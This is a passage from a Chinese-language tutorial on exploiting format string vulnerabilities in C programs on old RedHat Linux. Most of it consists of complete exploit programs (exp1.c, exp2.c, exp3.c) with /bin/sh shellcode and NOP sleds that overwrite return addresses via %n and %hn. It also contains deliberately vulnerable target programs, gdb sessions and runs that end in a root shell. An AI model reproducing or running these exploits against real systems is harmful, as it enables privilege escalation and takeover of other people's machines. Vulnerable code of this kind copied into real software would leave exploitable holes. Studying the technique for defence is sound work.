/>  if (argc &gt; 2) offset  = atoi(argv[2]);                       <br />  if (argc &gt; 3) align = atoi(argv[3]);                       <br />  if (argc &gt; 4) bsize   = atoi(argv[4]);                       <br />  if (argc &gt; 5) eggsize = atoi(argv[5]);                       <br /><br />  <br />                                                               <br />  printf("Usages: %s &lt;RETloc&gt; &lt;offset&gt; &lt;align&gt; &lt;buffsize&gt; &lt;eggsize&gt; \n",argv[0]);                                                             <br />  if (!(buff = malloc(bsize))) {                               <br />    printf("Can't allocate memory.\n");                        <br />    exit(0);                                                   <br />  }                                                            <br /><br />  if (!(egg = malloc(eggsize))) {                              <br />    printf("Can't allocate memory.\n");                        <br />    exit(0);                                                   <br />  }                                                            <br />  <br />  printf("Using Ret location address: 0x%x\n", retloc);                                                                    <br />  shell_addr = get_esp() + offset;    //计算我们shellcode所处的地址                               <br />  printf("Using Shellcode address: 0x%x\n", shell_addr);<br />  <br />  ptr = buff;                                                  <br />  memset(buff,'A',4);<br /><br />  i = align;<br />  buff[i]   =  retloc &amp; 0x000000ff;   // 将retloc放到buff里                    <br />  buff[i+1] = (retloc &amp; 0x0000ff00) &gt;&gt; 8;                 <br />  buff[i+2] = (retloc &amp; 0x00ff0000) &gt;&gt; 16;                <br />  buff[i+3] = (retloc &amp; 0xff000000) &gt;&gt; 24;                  <br />  <br />  ptr = buff + i + 4;<br />  for(i = 0 ; i &lt; 4 ; i++ )  //存放%.10u%.10u%.10u%.10u<br />    {<br />        memcpy(ptr, "%.10u", 5);<br />        ptr += 5;<br />    }<br />/* 存放"%.SHELL_ADDRu%n",为了使显示总长度等于shell_addr,<br />  * 我们减去4个%.10u的长度:4*10,再减去"argv[1] = xxRETloc"的长度：12+4<br />  * 将这个长度作为第5个%u的宽度值    <br />  */  <br />sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16); <br /><br />  ptr = egg;                                                   <br />  for (i = 0; i &lt; eggsize - strlen(shellcode) - 1; i++)        <br />    *(ptr++) = NOP;                                            <br />                                                               <br />  for (i = 0; i &lt; strlen(shellcode); i++)                      <br />    *(ptr++) = shellcode[i];                                   <br />                                                               <br />  buff[bsize - 1] = '\0';                                      <br />  egg[eggsize - 1] = '\0';                                     <br />                                                               <br />  memcpy(egg, "EGG=", 4);                                        <br />  env[0] = egg ;<br />  env[1] = (char *)0 ;<br /><br />  execle("./vul","vul",buff,NULL,env);          <br />}  /* end of main */       <br /><br />&lt;- end -&gt;  <br /><br />注意：在我们的程序里，我们实际使用的模式是：<br /><br />AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n<br /><br />选用%.10u的原因是：如果用"%.nu"来显示一个数值的时候，若数值长度大于n,则仍然会<br />显示实际的长度，而不会截断为n。只有在数值长度小于n时，才会在数值前面补'0'使显<br />示长度达到n.而一个四字节的无符号整数，最大为0xffffffff = 4294967295，其长度也<br />就是10,因此，使用%.10u将保证显示长度的精确(肯定为10).现在唯一要确定的就是<br />RETloc,也就是main()的返回地址了。这也很简单：<br /><br />[root@rh62 /root]# ./x 0x41414141<br />Usages: ./x &lt;RETloc&gt; &lt;offset&gt; &lt;align&gt; &lt;buffsize&gt; &lt;eggsize&gt; <br />Using Ret location address: 0x41414141<br />Using Shellcode address: 0xbffffb08<br /><br />Segmentation fault (core dumped)<br />[root@rh62 /root]# gdb ./vul core<br />GNU gdb 19991004<br />&lt;....&gt;<br />#0  0x400622b7 in _IO_vfprintf (s=0xbfffedc4, <br />    format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n", <br />    ap=0xbffff2e8) at vfprintf.c:1212<br />1212    vfprintf.c: No such file or directory.<br />(gdb) bt  <br />#0  0x400622b7 in _IO_vfprintf (s=0xbfffedc4, <br />    format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n", <br />    ap=0xbffff2e8) at vfprintf.c:1212<br />#1  0x40070716 in _IO_vsnprintf (<br />    string=0xbfffeec0 "argv[1] = AAAAAA00000000020000000001198649097705429783951094787133", maxlen=1023, <br />    format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n", <br />    args=0xbffff2d0) at vsnprintf.c:129<br />#2  0x80484de in log (level=1, <br />    fmt=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n")<br />    at vul.c:13<br />#3  0x8048589 in main (argc=2, argv=0xbffff724) at vul.c:33<br />(gdb) i f 3  -----&gt; 查看main()的栈帧<br />Stack frame at 0xbffff6d8:<br />eip = 0x8048589 in main (vul.c:33); saved eip 0x400349cb<br />caller of frame at 0xbffff2c0<br />source language c.<br />Arglist at 0xbffff6d8, args: argc=2, argv=0xbffff724<br />Locals at 0xbffff6d8, Previous frame's sp is 0x0<br />Saved registers:<br />  ebp at 0xbffff6d8, eip at 0xbffff6dc  ----&gt; OK,存放eip的地址是0xbffff6dc<br />(gdb) <br /><br />好的，既然现在我们已经知道了RETloc的地址，就让我们运行一下我们的攻击程序看看吧：<br />[root@rh62 /root]# ./x 0xbffff6dc<br />Usages: ./x &lt;RETloc&gt; &lt;offset&gt; &lt;align&gt; &lt;buffsize&gt; &lt;eggsize&gt; <br />Using Ret location address: 0xbffff6dc<br />Using Shellcode address: 0xbffffb08<br /><br />argv[1] = AA荟?.10u%.10u%.10u%.10u%.3221224144u%n <br />Segmentation fault (core dumped)<br />[root@rh62 /root]# gdb ./vul core<br />&lt;....&gt;<br />#0  0x42 in ?? ()<br />(gdb) bt<br />#0  0x42 in ?? ()<br />(gdb) x/x 0xbffff6dc<br />0xbffff6dc:     0x00000042<br />(gdb) <br /><br />很可惜，并没有看到令人激动的#号提示符。看起来0xbffffb08的长度不能被正确的打印出来，<br />根据测试，至少大于0x90000000的长度都不能正确显示，具体原因还有待研究。感兴趣的读者<br />可以自行分析一下。为了得到一个可以工作的版本，我们改动一下vul.c和exp.c:<br /><br />&lt;- begin -&gt;  vul1.c<br /><br />#include &lt;stdarg.h&gt;<br />#include &lt;unistd.h&gt;<br />#include &lt;syslog.h&gt;<br /><br />#define BUFSIZE 1024<br /><br />char egg[BUFSIZE];<br /><br />int log(int level, char *fmt,...)<br />{<br />   char buf[BUFSIZE];<br />   va_list ap;<br />  <br />   va_start(ap, fmt);<br />   vsnprintf(buf, sizeof(buf)-1, fmt, ap); <br />   buf[BUFSIZE-1] = '\0';<br />   syslog(level, "[hmm]: %s", buf); <br />   va_end(ap); <br />}<br /><br /><br />int main(int argc, char **argv)<br />{<br /><br />  char buf[BUFSIZE];<br />  int i,num;<br />  <br />  if(getenv("EGG")) { <br />     /* 我们将环境EGG的内容复制到一个全局buffer里，<br />      * 而这个buffer的起始地址是0x80xxxxx,它可以被正确显示 <br />      */<br />     strncpy(egg, getenv("EGG"), BUFSIZE-1); <br />     egg[BUFSIZE-1] = '\0';<br />  }<br />  num = argc ;<br />  if(argc &gt; 1) {<br />    for ( i = 1 ; i &lt; num ; i ++ ) {<br />            snprintf(buf, BUFSIZE -1 , "argv[%d] = %.200s", i, argv[i]);<br />            buf[BUFSIZE-1] = '\0';<br />            log(LOG_ALERT, buf);  // 这里有问题<br />            printf("argv[%d] = %s \n", i, argv[i]);<br />    }<br />  } <br />}<br /><br />&lt;- end -&gt;  <br /><br />&lt;- begin -&gt;  exp1.c<br /><br />#include &lt;stdlib.h&gt;                                            <br />#include &lt;unistd.h&gt;                                            <br />                                                               <br />#define DEFAULT_ALIGNMENT                 2                    <br />#define DEFAULT_RETLOC           0xbffffadc                   <br />#define DEFAULT_SHELLADDR        0x8049800   //我们的shellcode地址在Heap/BSS段                 <br />#define DEFAULT_BUFFER_SIZE             512                    <br />#define DEFAULT_EGG_SIZE               1024                   <br />#define NOP                            0x90                    <br />                                                               <br />char shellcode[] =                                             <br />  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"<br />  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"<br />  "\x80\xe8\xdc\xff\xff\xff/bin/sh"; <br /><br />                                                               <br />unsigned long get_esp(void) {                                  <br />   __asm__("movl %esp,%eax");                                  <br />}                                                              <br />                                                               <br />main(int argc, char *argv[]) {                            <br />  char *buff, *ptr, *egg;                                      <br />  char *env[2];<br />  long retloc = DEFAULT_RETLOC;<br />  long shell_addr = DEFAULT_SHELLADDR;<br /><br />  int align = DEFAULT_ALIGNMENT;        <br />  int bsize = DEFAULT_BUFFER_SIZE, eggsize = DEFAULT_EGG_SIZE;                             <br />  int i;<br />                                                               <br /><br />  if (argc &gt; 1) sscanf(argv[1],"%x",&amp;retloc); <br />  if (argc &gt; 2) sscanf(argv[2],"%x",&amp;shell_addr); <br />  if (argc &gt; 3) align = atoi(argv[3]);                       <br />  if (argc &gt; 4) bsize   = atoi(argv[4]);                       <br />  if (argc &gt; 5) eggsize = atoi(argv[5]);                       <br /><br />  <br />                                                               <br />  printf("Usages: %s &lt;RETloc&gt; &lt;SHELL_addr&gt; &lt;align&gt; &lt;buffsize&gt; &lt;eggsize&gt; \n",argv[0]);                                                             <br />  if (!(buff = malloc(bsize))) {                               <br />    printf("Can't allocate memory.\n");                        <br />    exit(0);                                                   <br />  }                                                            <br /><br />  if (!(egg = malloc(eggsize))) {                              <br />    printf("Can't allocate memory.\n");                        <br />    exit(0);                                                   <br />  }                                                            <br />                                                               <br />  printf("Using RET location address: %#x\n", retloc);<br />  printf("Using Shellcode address: %#x\n", shell_addr);                       <br />                                                               <br />  ptr = buff;                                                  <br />  memset(buff,'A',4);<br /><br />  i = align;<br />  buff[i]   =  retloc &amp; 0x000000ff;                       <br />  buff[i+1] = (retloc &amp; 0x0000ff00) &gt;&gt; 8;                 <br />  buff[i+2] = (retloc &amp; 0x00ff0000) &gt;&gt; 16;                <br />  buff[i+3] = (retloc &amp; 0xff000000) &gt;&gt; 24;                  <br />  <br />  ptr = buff + i + 4;<br />  for(i = 0 ; i &lt; 4 ; i++ )<br />    {<br />        memcpy(ptr, "%.10u", 5);<br />        ptr += 5;<br />    }<br />  <br />sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16);<br /><br />  ptr = egg;                                                   <br />  for (i = 0; i &lt; eggsize - strlen(shellcode) - 1; i++)        <br />    *(ptr++) = NOP;                                            <br />                                                               <br />  for (i = 0; i &lt; strlen(shellcode); i++)                      <br />    *(ptr++) = shellcode[i];                                   <br />                                                               <br />  buff[bsize - 1] = '\0';                                      <br />  egg[eggsize - 1] = '\0';                                     <br />                                                               <br />  memcpy(egg, "EGG=", 4);                                        <br />  env[0] = egg ;<br />  env[1] = (char *)0 ;<br /><br />  execle("./vul1","vul1",buff,NULL,env);          <br />}  /* end of main */       <br /><br />&lt;- end -&gt;  <br /><br />这里唯一改变的就是shellcode的地址指向了Heap/BSS区，它通常在内存区域的低端：<br />0x8000000以后的地址,这个地址将可以被正确显示，因此就可以正确的覆盖main()的<br />返回地址，并跳到那里去执行我们的shellcode.这个地址的获取，也可以通过gdb跟踪<br />得到，这里不再赘述。<br /><br />[root@rh62 /root]# ./exp1 0xbffffadc 0x8049800<br />Usages: ./exp1 &lt;RETloc&gt; &lt;SHELL_addr&gt; &lt;align&gt; &lt;buffsize&gt; &lt;eggsize&gt; <br />Using RET location address: 0xbffffadc<br />Using Shellcode address: 0x8049800<br /><br />argv[1] = AA茭?.10u%.10u%.10u%.10u%.134518728u%n <br />bash# <br />很好，成功了！注意在得到#号提示符前，通常需要等待几秒钟，这是因为显示0x8049800<br />个字符也是颇需要一段时间的.(当然，结果并没有显示在标准输出上) :-)<br /><br />&lt;2&gt; 攻击方法二：多次覆盖返回地址(1)<br />====================================<br /><br />上面的程序只能在RedHat 6.2这样的系统上成功，在RedHat 6.1下它是不能成功的。原因<br />前面已经提到了。那么是不是在RedHat 6.1下就没有办法了呢？并不是这样的，只要我们动<br />一下脑筋，就会发现由于这个问题程序自身的特点颐窃赗edHat 6.1下也可以成功的进行<br />攻击。我们看到问题程序vul.c会显示并记录所有用户输入的参数，而制约我们的攻击程序的<br />因素就是显示的长度，那么如果我们不显示那么さ哪谌荩瑅snprintf()是可以正常工作的：<br />AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n<br />我们首先想到的时候如何减小shell_addr的值。如果我们将一个shell_addr分成四部分：<br />shell_addr = (SH1 &lt;&lt; 24) + (SH2 &lt;&lt; 16) + (SH3 &lt;&lt;8) + SH4<br /><br />例如，假设在RETloc这个地址中保存有返回地址0x44332211,我们想将这个0x44332211换成<br />存放shellcode的地址：0xbffffcec,那么我们所对应的SH1,SH2,SH3,SH4就分别是：<br /><br />SH1 = 0xbf<br />SH2 = 0xff<br />SH3 = 0xfc<br />SH4 = 0xec<br /><br />我们所要做的就是依次将这四个地址存入RETloc,RETloc+1,RETloc+2,RETloc+3中去，也就是：<br /><br />AA|RETloc  |%.10u%.10u%.10u%.10u%.(SH4-4*10-16)u|%n<br />AA|RETloc+1|%.10u%.10u%.10u%.10u%.(SH3-4*10-16)u|%n<br />AA|RETloc+2|%.10u%.10u%.10u%.10u%.(SH2-4*10-16)u|%n<br />AA|RETloc+3|%.10u%.10u%.10u%.10u%.(SH1-4*10-16)u|%n<br /><br />注意：我们考虑的是Intel x86的系统，因此，排列顺序是反序的<br />下图可以让你更清楚的看到每一次覆盖后的变化：<br /><br />RETloc  RETloc+1 RETloc+2 RETloc+3<br />|0x11   | 0x22   | 0x33   |0x44|                   原来存放的地址: 0x44332211<br />|0xec   | 0x00   | 0x00   |0x00|                   第一次覆盖SH4:  0x000000ec <br />|0xec   | 0xfc   | 0x00   |0x00| 0x00|             第二次覆盖SH3:  0x0000fcec<br />|0xec   | 0xfc   | 0xff   |0x00| 0x00| 0x00|       第三次覆盖SH2:  0x00fffcec <br />|0xec   | 0xfc   | 0xff   |0xbf| 0x00| 0x00| 0x00| 第四次覆盖SH1:  0xbffffcec<br /><br />需要特别注意的是：这样四次覆盖之后，将导致原来存放函数参数的地址内容被清零，<br />例如RETloc+4,RETloc+5,RETloc+6等处，如果该函数在覆盖以后仍然需要访问这几个参<br />数，可能会导致函数不能正常退出，特别是一些极端依赖函数参数的情况下。<br /><br />另外一个问题是程序是否允许你连续四次进行覆盖，如果只能覆盖一次，也不能达到我们<br />的目的，不过我们看到我们的问题程序是会循环从main()的参数中读取并调用log()子函数<br />，那么我们只要提供四个命令行参数就可以进行四次覆盖了。<br /><br />&lt;- begin -&gt;  exp2.c<br /><br />#include &lt;stdlib.h&gt;                                            <br />#include &lt;unistd.h&gt;                                            <br />                                                               <br />#define DEFAULT_OFFSET                    500                    <br />#define DEFAULT_ALIGNMENT                 2                    <br />#define DEFAULT_RETLOC           0xbffffa6c                    <br />#define DEFAULT_BUFFER_SIZE             128                    <br />#define DEFAULT_EGG_SIZE               1024                    <br />#define NOP                            0x90                    <br />                                                               <br />char shellcode[] =                                             <br />  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"<br />  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"<br />  "\x80\xe8\xdc\xff\xff\xff/bin/sh"; <br /><br />                                                               <br />unsigned long get_esp(void) {                                  <br />   __asm__("movl %esp,%eax");                                  <br />}                                                              <br />                                                               <br />main(int argc, char *argv[]) {                            <br />  char *buff[4], *ptr, *egg;                                      <br />  char *env[2];<br />  long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr;                                                   <br />  int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;        <br />  int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;                             <br />  int i,j;<br />                                                               <br />  if (argc &gt; 1) sscanf(argv[1],"%x",&amp;retloc); /* 输入RETloc */<br />  if (argc &gt; 2) offset  = atoi(argv[2]);                       <br />  if (argc &gt; 3) align = atoi(argv[3]);                       <br />  if (argc &gt; 4) bsize   = atoi(argv[4]);                       <br />  if (argc &gt; 5) eggsize = atoi(argv[5]);                       <br /><br />  <br />                                                               <br />  printf("Usages: %s &lt;RETloc&gt; &lt;offset&gt; &lt;align&gt; &lt;buffsize&gt; &lt;eggsize&gt; \n",argv[0]);                                                             <br />  for(i = 0 ; i &lt; 4 ; i++ ) {<br />    if (!(buff[i] = malloc(bsize))) {                               <br />       printf("Can't allocate memory.\n");                        <br />       exit(0);                                                   <br />    }<br />  }                                                            <br /><br />  if (!(egg = malloc(eggsize))) {                              <br />    printf("Can't allocate memory.\n");                        <br />    exit(0);                                                   <br />  }                                                            <br />                                                               <br />  printf("Using RET location address: 0x%x\n", retloc);<br />  shell_addr = get_esp() + offset;       /* 计算shellcocde所在的地址 */                                                  <br />  printf("Using Shellcode address: 0x%x\n", shell_addr); <br />  for(j = 0; j &lt; 4 ; j++) {                                                             <br />     ptr = buff[j];                                                  <br />     memset(ptr,'A',4);<br /><br />     ptr += align;<br />     (*ptr++) =  retloc &amp; 0x000000ff;        /* 填充retloc */               <br />     (*ptr++) = (retloc &amp; 0x0000ff00) &gt;&gt; 8;                 <br />     (*ptr++) = (retloc &amp; 0x00ff0000) &gt;&gt; 16;                <br />     (*ptr++) = (retloc &amp; 0xff000000) &gt;&gt; 24;                  <br />  <br />     retloc++; /* retloc地址后移一个字节，以便进行下一次覆盖 */<br />     for(i = 0 ; i &lt; 4 ; i++ )<br />     {<br />        memcpy(ptr, "%.10u", 5); /* 输入格式串，调整%n所对应的位置 */<br />        ptr += 5;<br />     }<br />     tmpaddr = (shell_addr &gt;&gt; j*8 ) &amp; 0xff; /* 计算SHj */<br />     if(tmpaddr &gt; 56 )  /* 计算最后一个%nu中的n值 */<br />       sprintf(ptr, "%%.%uu%%n", tmpaddr - 56);<br />     else <br />       sprintf(ptr, "%%.%uu%%n", 1);<br /><br />  <br />  }<br />  ptr = egg;                                                   <br />  for (i = 0; i &lt; eggsize - strlen(shellcode) - 1; i++)        <br />    *(ptr++) = NOP;                                            <br />                                                               <br />  for (i = 0; i &lt; strlen(shellcode); i++)                      <br />    *(ptr++) = shellcode[i];                                   <br />                                                               <br />  egg[eggsize - 1] = '\0';                                     <br />                                                               <br />  memcpy(egg, "EGG=", 4);                                        <br />  env[0] = egg ;<br />  env[1] = (char *)0 ;<br /><br />  execle("./vul","vul",buff[0],buff[1],buff[2],buff[3],NULL,env);          <br />}  /* end of main */       <br /><br />&lt;- end -&gt;  <br /><br /><br />[root@rh62 /root]# ./exp2<br />Usages: ./exp2 &lt;RETloc&gt; &lt;offset&gt; &lt;align&gt; &lt;buffsize&gt; &lt;eggsize&gt; <br />Using RET location address: 0xbffffa6c<br />Using Shellcode address: 0xbffffcec<br /><br />argv[1] = AAl??.10u%.10u%.10u%.10u%.180u%n <br />argv[2] = AAm??.10u%.10u%.10u%.10u%.196u%n <br />argv[3] = AAn??.10u%.10u%.10u%.10u%.199u%n <br />argv[4] = AAo??.10u%.10u%.10u%.10u%.135u%n <br />bash# <br /><br />注意我们上面的exp2.c中在计算最后一个%.nu时存在一些问题，如果<br />0 &lt; (tmpaddr - 56) &lt; 10 ,那么%.(tmpaddr-56)u 所显示的长度可能不等于(tmpaddr-56)<br />,同样如果tmpaddr &lt;= 56 ,那么我们的shellcode的地址就会有偏差，幸运的是，由于我们<br />的shellcode是存放在环境变量中，它通常在堆栈的高端，地址通常是0xbffff???,只有地址<br />的最低一个字节才可能出现上面所讲的两种情况，而如果我们的shellcode前面填充了一些<br />NOP指令的话，那么我们的shellcode地址就有一个范围，只要落在这个范围内，都可以执行<br />我们的shellcode,因此只要我们在这一段地址内选择一个有效的地址就可以了。<br /><br />这个程序在RedHat 6.1和RedHat 6.2下都验证通过。<br /><br />&lt;3&gt; 攻击方法三：多次覆盖返回地址(2)<br />======================================<br /><br />有读者可能会说，这个程序的成功依赖于我们可以连续进行四次覆盖。如果只给我们一次<br />机会，是不是就不行了呢?其实，还有一种方法可以完成我们的任务。基本思路也是分四次<br />来覆盖，只不过通过一个*printf()就可以完成了，考虑下列这种情况：<br /><br />  |AARET1|AAAARET2|AAAARET3|AAAARET4|%c...%c|%n1c%n|%n2c%n|%n3c%n|%n4c%n<br />     ^        ^        ^        ^                 |      |      |      | <br />     |        |        |        |_________________|______|______|______|                                      <br />     |        |        |__________________________|______|______|                                                     <br />     |        |___________________________________|______|  <br />     |____________________________________________|<br /><br />我们使用四个%n,它们会依次将4个显示长度保存到对应的地址去。我们如果调整%c的个数，<br />使第一个%n对应RET1，第二个%n对应RET2，第三个%n对应RET3，第四个%n对应RET4,那么我<br />们就成功了一半了。当然我们要让:<br />RET1 = RETloc<br />RET2 = RETloc + 1 <br />RET3 = RETloc + 2<br />RET4 = RETloc + 3 <br /><br />n1 = SH4 - 1*4 - 12 - 4 - 8*3 <br />(1*4是4个%c显示的长度，12是"AA"再加上前面的"argv[.."的长度，4是RET1长度,8*3是后<br />面三组"AAAARET"的长度)<br />n2 = SH3 - SH4<br />n3 = SH2 - SH3<br />n4 = SH1 - SH2  <br /><br />这样，在碰到第一个%n时，显示总长度就是SH4,碰到第二个%n时，显示总长度就是 SH3,依<br />此类推。<br />注意：由于SH1通常等于0xbf(如果是在堆栈中的话)，而SH2通常等于0xff,SH1&lt;SH2,<br />因此我们给SH1加上一个大数0x0100，让它变成0x01BF,这样在进行第四次覆盖的时候：<br />会将RETloc+4变成0x01,但这通常并不会造成大的影响，RETloc+3仍然被正确的改成了0xbf<br /><br />RETloc  RETloc+1 RETloc+2 RETloc+3                                <br />|0xec   | 0xfc   | 0xff   |0xbf| 0x01| 0x00| 0x00| 第四次覆盖SH1:  0xbffffcec                                <br /><br />因此，我们让n4 = 0x0100 + SH1 - SH2<br /><br />另外我们的程序中没有使用%.nu的格式而是采用了%nc, 这是因为%nc可以更加准确的决定<br />我们的显示长度，只要n&gt;0,显示长度总是精确的等于n,这就为我们的计算带来了很大的方<br />便。(注意不能使用%.nc的格式，这不起作用) 不过%nc会使用空格来填充空白部分，如果<br />应用程序将空格作为分隔符来解释时，可能会出问题。<br /><br />&lt;- begin -&gt;  exp3.c<br /><br />#include &lt;stdlib.h&gt;                                            <br />#include &lt;unistd.h&gt;                                            <br />                                                               <br />#define DEFAULT_OFFSET                    550                    <br />#define DEFAULT_ALIGNMENT                 2                    <br />#define DEFAULT_RETLOC           0xbffffabc                    <br />#define DEFAULT_BUFFER_SIZE             128                    <br />#define DEFAULT_EGG_SIZE               1024                    <br />#define NOP                            0x90                    <br />                                                               <br />char shellcode[] =                                             <br />  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"<br />  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"<br />  "\x80\xe8\xdc\xff\xff\xff/bin/sh"; <br /><br />                                                               <br />unsigned long get_esp(void) {                                  <br />   __asm__("movl %esp,%eax");                                  <br />}                                                              <br />                                                               <br />main(int argc, char *argv[]) {                            <br />  char *buff, *ptr, *egg;                                      <br />  char *env[2];<br />  long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr;                                                   <br />  int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;        <br />  int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;                             <br />  int i,SH1,SH2,SH3,SH4,oldSH4;<br />                                                               <br />  if (argc &gt; 1) sscanf(argv[1],"%x",&amp;retloc); /* 输入RETloc */<br />  if (argc &gt; 2) offset  = atoi(argv[2]);                       <br />  if (argc &gt; 3) align = atoi(argv[3]);                       <br />  if (argc &gt; 4) bsize   = atoi(argv[4]);                       <br />  if (argc &gt; 5) eggsize = atoi(argv[5]);                       <br /><br />  <br />                                                               <br />  printf("Usages: %s &lt;RETloc&gt; &lt;offset&gt; &lt;align&gt; &lt;buffsize&gt; &lt;eggsize&gt; \n",argv[0]);                                                             <br />  <br />  if (!(buff = malloc(bsize))) {                               <br />       printf("Can't allocate memory.\n");                        <br />       exit(0);                                                   <br />    }<br />                                                 <br /><br />  if (!(egg = malloc(eggsize))) {                              <br />    printf("Can't allocate memory.\n");                        <br />    exit(0);                                                   <br />  }                                                            <br />                                                               <br />  printf("Using RET location address: 0x%x\n", retloc);<br />  shell_addr = get_esp() + offset;       /* 计算shellcocde所在的地址 */                                                  <br />  printf("Using Shellcode address: 0x%x\n", shell_addr); <br />  <br />  SH1 = (shell_addr &gt;&gt; 24) &amp; 0xff;<br />  SH2 = (shell_addr &gt;&gt; 16) &amp; 0xff;<br />  SH3 = (shell_addr &gt;&gt;  8) &amp; 0xff;<br />  SH4 = (shell_addr &gt;&gt;  0) &amp; 0xff;<br /><br />  /* 如果SH4小于44,我们就增大它的值，让它等于44 + 1,以免出现负值 */<br />  if( (SH4 - 4 - 12 - 4 - 8*3) &lt;= 0) { <br />      oldSH4 = SH4;<br />      SH4 = 4 + 12 + 4 + 8*3 + 1;<br />      printf("Using New Shellcode address: 0x%x\n", shell_addr+SH4-oldSH4); <br />  } <br />  <br />     ptr = buff;                                                  <br />  <br />     for (i = 0; i &lt;4 ; i++, retloc++ ){<br />       memset(ptr,'A',4);<br />       ptr += 4 ;<br />       (*ptr++) =  retloc &amp; 0xff;        /* 填充retloc+n (n= 0,1,2,3) */          <br />       (*ptr++) = (retloc &gt;&gt; 8  ) &amp; 0xff ;                 <br />       (*ptr++) = (retloc &gt;&gt; 16 ) &amp; 0xff ;                 <br />       (*ptr++) = (retloc &gt;&gt; 24 ) &amp; 0xff ;                 <br />      } <br />          <br />     for(i = 0 ; i &lt; 4 ; i++ )<br />     {<br />        memcpy(ptr, "%c", 2); /* 输入格式串，调整%n所对应的位置 */<br />        ptr += 2;<br />     }<br />     /* "输入"我们的shellcode地址 */<br />     sprintf(ptr, "%%%uc%%n%%%uc%%n%%%uc%%n%%%uc%%n",(SH4 - 4 - 12 - 4 - 8*3),<br />              (SH3 - SH4),(SH2 - SH3),(0x0100 + SH1 - SH2) );<br />  <br />  ptr = egg;                                                   <br />  for (i = 0; i &lt; eggsize - strlen(shellcode) - 1; i++)        <br />    *(ptr++) = NOP;                                            <br />                                                               <br />  for (i = 0; i &lt; strlen(shellcode); i++)                      <br />    *(ptr++) = shellcode[i];                                   <br />                                                               <br />  egg[eggsize - 1] = '\0';                                     <br />                                                               <br />  memcpy(egg, "EGG=", 4);                                        <br />  env[0] = egg ;<br />  env[1] = (char *)0 ;<br /><br />  execle("./vul","vul",buff + align, NULL,env);          <br />}  /* end of main */     <br /><br />&lt;- end -&gt;  <br /><br />验证一下：<br />[warning3@rh62 format]$ ./exp3<br />Usages: ./exp3 &lt;RETloc&gt; &lt;offset&gt; &lt;align&gt; &lt;buffsize&gt; &lt;eggsize&gt; <br />Using RET location address: 0xbffffabc<br />Using Shellcode address: 0xbffffcfa<br />argv[1] = AA贱緼AAA晋緼AAA菌緼AAA窥?c%c%c%c%206c%n%2c%n%3c%n%192c%n <br />bash$ id<br />uid=500(warning3) gid=500(warning3) groups=500(warning3)<br />这个程序在redhat 6.1和redhat 6.2下均验证通过<br /><br /><br />&lt;4&gt; 攻击方法三：多次覆盖返回地址(利用%hn)<br />=========================================<br /><br />在drow的statd-toy.c中又提供了一种方法:利用%hn,它会覆盖一个字的高16位：<br /><br />main()<br />{<br />int a=0x41414141;<br />printf("a=%#x%hn\n",a,&amp;a);<br />printf("a=%#x\n",a);<br />}<br /><br />[warning3@redhat-6 wuftp]$ ./aa<br />a=0x41414141<br />a=0x4141000c<br /><br />&lt;....&gt;用gdb看一下：<br />(gdb) b 5<br />Breakpoint 1 at 0x80483ea: file aa.c, line 5.<br />(gdb) r <br />Starting program: /home/warning3/wuftp/./aa <br />a=0x41414141<br /><br />Breakpoint 1, main () at aa.c:5<br />5        printf("a=%#x\n",a);<br />(gdb) p &amp;a<br />$1 = (int *) 0xbffffcb4<br />(gdb) x/4b 0xbffffcb4<br />0xbffffcb4:     0x0c    0x00    0x41    0x41<br /><br />因此我们只要覆盖两次就可以了，具体的方法和前面相似，有兴趣的读者可以自行测试一下。<br />这种方法的好处是我们不会覆盖多余的地址，它只覆盖指定地址的两个字节内容！<br /><br /><br />综合上面的几种方法，我们会看到第三和第四种方法是最通用的，可以适用于各种情况。第<br />一种和第二种都有其自己的局限性，更多的依赖于应用程序自身的特点。<br /><br />不过这几种方法都由一个局限，就是必须非常精确的给定存放返回地址的地址：retloc,错一<br />个字节也不行。这使攻击的成功率大打折扣。回忆一下原来的普通exploit为什么容易成功，<br />是因为它通常使用一串返回地址来填充堆栈，只要能覆盖返回地址retloc就可以了，并不需要<br />知道retloc确切的值。而这里，我们必须精确指定retloc,将shellcode地址直接填充到返回地<br />址中去。而由于retloc的大小和用户环境变量等因素有很大关系，往往不是很确定,不是那么<br />容易就一次成功的。那么如果我们能够指定一串retloc,retloc+4,retloc+8...,分别将<br />shellcode地址存到这些地址去，那么我们不就可以增大成功的把握了吗？利用第4种方法，使<br />很容易做到这一点的。具体的操作有兴趣的读者可以自行测试，也可以与我联系。<br /><br /><br />另外，%n并不仅仅局限于用来覆盖返回地址，也可以用来覆盖某些保存的数据，比如保存<br />的uid,gid等等。<br /><br />结束语<br />========<br /><br />这种格式化串导致的溢出问题，虽然看起来比较复杂，实际上只要程序员在书写应用程序<br />时稍加注意，是完全可以避免的。看来粗心真的是安全的大敌。:-) 由于时间仓促，文中<br />错疏之处难免，敬请批评指正。<br /><br /><br />参考文献<br />==========<br />[1] &lt;&lt;Format Bugs: What are they, Where did they come from,.........<br />      How to exploit them&gt;&gt; , lamagra (lamagra@digibel.org)<br 